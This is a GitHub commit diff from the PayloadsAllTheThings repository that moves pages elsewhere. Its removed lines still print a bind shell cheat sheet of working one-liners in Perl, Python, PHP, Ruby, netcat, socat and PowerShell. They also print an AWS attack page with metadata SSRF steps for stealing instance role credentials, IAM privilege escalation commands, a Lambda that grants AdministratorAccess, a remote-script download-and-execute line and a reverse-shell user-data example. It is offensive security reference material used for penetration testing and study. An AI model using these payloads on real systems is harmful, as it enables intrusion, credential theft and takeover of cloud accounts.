1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-04 10:56:21 +02:00

README - Update links to Internal All The Things

This commit is contained in:
Swissky 2024-01-12 16:18:36 +01:00
parent c852118ec8
commit 12c6531ad2
33 changed files with 654 additions and 17480 deletions

File diff suppressed because it is too large Load Diff

View File

@ -1,95 +1,13 @@
# Bind Shell
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/shell-bind](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/)
* [Bind Shell](#bind-shell)
* [Perl](#perl)
* [Python](#python)
* [PHP](#php)
* [Ruby](#ruby)
* [Netcat Traditional](#netcat-traditional)
* [Netcat OpenBsd](#netcat-openbsd)
* [Ncat](#ncat)
* [Socat](#socat)
* [Powershell](#powershell)
## Perl
```perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
```
## Python
Single line :
```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```
Expanded version :
```python
import socket as s,subprocess as sp;
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();
while True:
d = c.recv(1024).decode();
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())
```
## PHP
```php
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
socket_write($cl,$m,strlen($m));}}'
```
## Ruby
```ruby
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
```
## Netcat Traditional
```powershell
nc -nlvp 51337 -e /bin/bash
```
## Netcat OpenBsd
```powershell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
```
## Socat
```powershell
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```
## Powershell
```powershell
https://github.com/besimorhino/powercat
# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep
# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002
```
* [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#perl)
* [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#python)
* [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#php)
* [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ruby)
* [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-traditional)
* [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd)
* [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat)
* [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat)
* [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)

View File

@ -1,2410 +1,17 @@
# Cloud - AWS
> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.
## Summary
- [AWS](#aws)
- [Summary](#summary)
- [Training](#training)
- [Tools](#tools)
- [AWS - Patterns](#aws---patterns)
- [URL Services](#url-services)
- [Access Key ID & Secret](#access-key-id--secret)
- [AWS - Metadata SSRF](#aws---metadata-ssrf)
- [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2)
- [Method for Container Service (Fargate)](#method-for-container-service-fargate)
- [AWS API calls that return credentials](#aws-api-calls-that-return-credentials)
- [AWS - Shadow Admin](#aws---shadow-admin)
- [Admin equivalent permission](#admin-equivalent-permission)
- [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
- [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions)
- [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
- [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
- [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
- [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
- [AWS - SSM - Command execution](#aws---ssm---command-execution)
- [AWS - Golden SAML Attack](#aws---golden-saml-attack)
- [AWS - Shadow Copy attack](#aws---shadow-copy-attack)
- [Disable CloudTrail](#disable-cloudtrail)
- [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
- [DynamoDB](#dynamodb)
- [Security checks](#security-checks)
- [AWSome Pentesting Cheatsheet](#awsome-pentesting-cheatsheet)
- [References](#references)
## Training
* CloudFoxable: A Gamified Cloud Hacking Sandbox - https://cloudfoxable.bishopfox.com/
* AWSGoat : A Damn Vulnerable AWS Infrastructure - https://github.com/ine-labs/AWSGoat
* Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
* SadCloud - https://github.com/nccgroup/sadcloud
* Flaws - http://flaws.cloud
* Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
## Tools
* [CloudFox](https://github.com/BishopFox/CloudFox/) - Automating situational awareness for cloud penetration tests. Designed for white box enumeration (SecurityAudit/ReadOnly type permission), but can be used for black box (found credentials) as well.
* Either Download the [latest binary release](https://github.com/BishopFox/cloudfox/releases) for your platform, or build it from source.
```
git clone https://github.com/BishopFox/cloudfox.git
cd ./cloudfox
go build .
```
* Run all AWS checks: `cloudfox aws --profile [profile-name] all-checks`
* List all AWS checks: `cloudfox aws`
* [SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
* Requires read-Only permissions over IAM service
```powershell
$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth
or in the Cloud Console
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')
PS C> Scan-AWShadowAdmins
```
* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
* Requires AWS Keys
```powershell
$ git clone https://github.com/RhinoSecurityLabs/pacu
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
ls
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
```
* [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
```powershell
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
US Standard = http://s3.amazonaws.com
Ireland = http://s3-eu-west-1.amazonaws.com
Northern California = http://s3-us-west-1.amazonaws.com
Singapore = http://s3-ap-southeast-1.amazonaws.com
Tokyo = http://s3-ap-northeast-1.amazonaws.com
./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```
* [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python
```python
import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
try:
result = s3.list_buckets()
print(result)
except Exception as e:
print(e)
```
* [Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness
> It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
* Require: arn:aws:iam::aws:policy/SecurityAudit
```powershell
$ pip install awscli ansi2html detect-secrets
$ git clone https://github.com/toniblyx/prowler
$ sudo apt install jq
$ ./prowler -E check42,check43
$ ./prowler -p custom-profile -r us-east-1 -c check11
$ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
```
* [Principal Mapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS
```powershell
https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text
# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc
# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc
# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
```
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool
```powershell
$ git clone https://github.com/nccgroup/ScoutSuite
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
$ python scout.py azure --cli
```
* [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files
```powershell
$ git clone https://github.com/nccgroup/s3_objects_check
$ python3 -m venv env && source env/bin/activate
$ pip install -r requirements.txt
$ python s3-objects-check.py -h
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
```
* [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
```powershell
$ pip3 install --user cloudsplaining
$ cloudsplaining download --profile myawsprofile
$ cloudsplaining scan --input-file default.json
```
* [weirdAAL](https://github.com/carnal0wnage/weirdAAL/wiki) - AWS Attack Library
```powershell
python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
```
* [cloudmapper](https://github.com/duo-labs/cloudmapper.git) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments
```powershell
git clone https://github.com/duo-labs/cloudmapper.git
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit findings.
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
```
* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - A CLI tool for executing attacks on cognito such as *Unwanted account creation*, *Account Oracle* and *Identity Pool escalation*.
```bash
# Installation
$ pip install cognito-scanner
# Usage
$ cognito-scanner --help
# Get information about how to use the unwanted account creation script
$ cogntio-scanner account-creation --help
# For more details go to https://github.com/padok-team/cognito-scanner
```
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
* [NetSPI/AWS Consoler](https://github.com/NetSPI/aws_consoler) - Convert AWS Credentials into a console access
## AWS - Patterns
### URL Services
| Service | URL |
|--------------|-----------------------|
| s3 | https://{user_provided}.s3.amazonaws.com |
| cloudfront | https://{random_id}.cloudfront.net |
| ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com |
| es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com |
| elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 |
| elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com |
| rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 |
| rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 |
| route 53 | {user_provided} |
| execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} |
| cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com |
| transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com |
| iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 |
| iot | https://{random_id}.iot.{region}.amazonaws.com:8443 |
| iot | https://{random_id}.iot.{region}.amazonaws.com:443 |
| mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 |
| mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 |
| kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com |
| kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com |
| cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com |
| mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com |
| kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com |
| mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com |
| mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel |
### Access Key ID & Secret
IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key.
| Prefix | Resource type |
|--------------|-------------------------|
| ABIA | AWS STS service bearer token |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | Temporary (AWS STS) access key |
The rest of the string is Base32 encoded and can be used to recover the account id.
```py
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
## AWS - Metadata SSRF
> AWS released additional security defences against the attack.
:warning: Only working with IMDSv1.
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
In order to use IMDSv2 you must provide a token.
```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```
### Method for Elastic Cloud Compute (EC2)
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
```powershell
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
```powershell
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
```
### Method for Container Service (Fargate)
1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
```powershell
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
```
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
```powershell
{
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
"Expiration": "2019-09-18T04:05:59Z"
}
```
### AWS API calls that return credentials
- chime:createapikey
- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html)
- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html)
- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html)
- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html)
- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html)
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html)
- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html)
- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html)
- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html)
- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html)
- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html)
- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html)
- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)
- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html)
- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html)
- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html)
- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html)
- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html)
- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html)
- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html)
- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html)
- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html)
## AWS - Shadow Admin
### Admin equivalent permission
- AdministratorAccess
```powershell
"Action": "*"
"Resource": "*"
```
- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance
```powershell
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789
```
- **iam:CreateAccessKey** : create a new access key to another IAM admin account
```powershell
aws iam create-access-key user-name target_user
```
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
```powershell
$ aws iam create-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:UpdateLoginProfile** : reset other IAM users login passwords.
```powershell
$ aws iam update-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
```powershell
$ aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy role-name role_i_can_assume policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```powershell
$ aws iam put-user-policy user-name my_username policy-name my_inline_policy policy-document file://path/to/administrator/policy.json
```
- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.
```powershell
$ aws iam add-user-to-group group-name target_group user-name my_username
```
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```powershell
$ aws iam update-assume-role-policy role-name role_i_can_assume policy-document file://path/to/assume/role/policy.json
```
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
```powershell
$ aws iam create-policy-version policy-arn target_policy_arn policy-document file://path/to/administrator/policy.json set-as-default
$ aws iam set-default-policy-version policy-arn target_policy_arn version-id v2
```
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
```powershell
$ aws lambda update-function-code function-name target_function zip-file fileb://my/lambda/code/zipped.zip
```
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
```powershell
$ aws glue endpoint-name target_endpoint public-key file://path/to/my/public/ssh/key.pub
```
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
```powershell
# add ssh key
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip key-name my_ssh_key security-group-ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip user-data file://script/with/reverse/shell.sh
```
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
```powershell
$ aws lambda create-function function-name my_function runtime python3.6 role arn_of_lambda_role handler lambda_function.lambda_handler code file://my/python/code.py
$ aws lambda invoke function-name my_function output.txt
```
Example of code.py
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
```
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
```powershell
$ aws glue create-dev-endpoint endpoint-name my_dev_endpoint role-arn arn_of_glue_service_role public-key file://path/to/my/public/ssh/key.pub
```
## AWS - Gaining AWS Console Access via API Keys
A utility to convert your AWS CLI credentials into AWS console access.
```powershell
$> git clone https://github.com/NetSPI/aws_consoler
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
```
## AWS - Enumerate IAM permissions
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
```powershell
git clone git@github.com:andresriancho/enumerate-iam.git
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
"RoleDetailList": [
{
"Tags": [],
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
...
